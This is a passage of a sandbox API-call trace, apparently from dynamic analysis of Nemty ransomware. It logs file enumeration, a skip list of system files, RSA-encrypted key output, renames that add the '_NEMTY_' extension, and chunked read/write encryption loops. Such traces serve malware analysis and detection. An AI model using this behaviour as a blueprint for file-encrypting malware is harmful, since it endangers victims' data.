lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.759] CloseHandle (hObject=0xffffffff) returned 0 [0065.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0065.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0065.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0065.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0065.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.759] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png._nemty_kgobjgd_")) returned 0 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0065.760] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="layers.png", cAlternateFileName="")) returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2=".") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="..") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="...") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="windows") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="$RECYCLE.BIN") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="rsa") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="NTDETECT.COM") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="ntldr") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="MSDOS.SYS") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="IO.SYS") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="boot.ini") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="boot.ini") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="ntuser.dat") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="desktop.ini") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="CONFIG.SYS") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="RECYCLER") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="BOOTSECT.BAK") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="bootmgr") returned 1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="programdata") returned -1 [0065.760] lstrcmpiW (lpString1="layers.png", lpString2="appdata") returned 1 [0065.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0065.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="layers.png", lpUsedDefaultChar=0x0) returned 10 [0065.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="layers.png", lpUsedDefaultChar=0x0) returned 10 [0065.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="layers.png", lpUsedDefaultChar=0x0) returned 10 [0065.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0065.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="layers.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="layers.png", lpUsedDefaultChar=0x0) returned 10 [0065.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0065.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0065.761] Sleep (dwMilliseconds=0x5) [0065.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdad8e9b0, dwHighDateTime=0x1d561e7)) [0065.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdad8e9b0, dwHighDateTime=0x1d561e7)) [0065.775] GetLastError () returned 0x5 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.775] GetLastError () returned 0x5 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.775] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0065.775] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="CNJD6CoIg71TC5jfK2YNOyJYiEqxqoEFtjAE/miYdNxzfo/8T9feQC4wjZs92I3K\r\nO9JyF4gWBTnke+qyUU3BmiqYYo4rJU9DO5+RGvv2qqkKifexheMzeqHzo7DbJm6d\r\nVWiDHtwC2124WJysjO5w51ykBgWV/gCxTv7khO3rjGqIQiVDIjFN6zZKUTI5Vixw\r\nKpnzVNpNE9Cln9Zfuq0WObx3aUw+KzxIpHjV79lRBNRcR6roS7hXD+NjLZKum5ms\r\nAmOiQhyG02FRhZlBYnTtvlHFmTv5wN2rrPD0LJpvgMOLndkiR/0PSzKKyQAE7kMu\r\nFlk8YCLRGEyj84vAz/TIkA==\r\n", pcchString=0x653e91c) returned 1 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0065.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.776] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, 